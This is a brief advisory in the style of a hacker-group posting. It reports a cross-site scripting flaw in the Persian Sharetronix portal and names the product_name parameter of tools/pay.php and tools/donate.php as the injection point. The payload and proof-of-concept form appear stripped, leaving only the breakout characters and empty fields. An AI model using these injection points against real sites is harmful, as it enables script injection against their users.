=========================================================== Persian Sharetronix portal Cross Site Scripting Vulnerability ----------------------------------------------------------- foun by :kurdish hackers team group : kurd-team contact : pshela@yahoo.com site : kurdteam.org ----------------------------------------------------------- ------------------------script----------------------------- ----------------------------------------------------------- script name: Persian Sharetronix download: http://donbaler.com/i/upload/2/1311602963.zip ----------------------------------------------------------- Exploit: -------- Exmple: ------- ww.site /tools/pay.php?product_name="> www.site /tools/donate.php?product_name="> --------------------------------------------- PoC: --------------------------------------------- BY KURD-TEAM        

-----------------------------------

   

        victim:         path:         file:                

       

        XSS:        

   

 

 


 

------------------------------------------   --------------------------------------------------------------------------- Zryan_kurd , AhMaD-HaWLeRY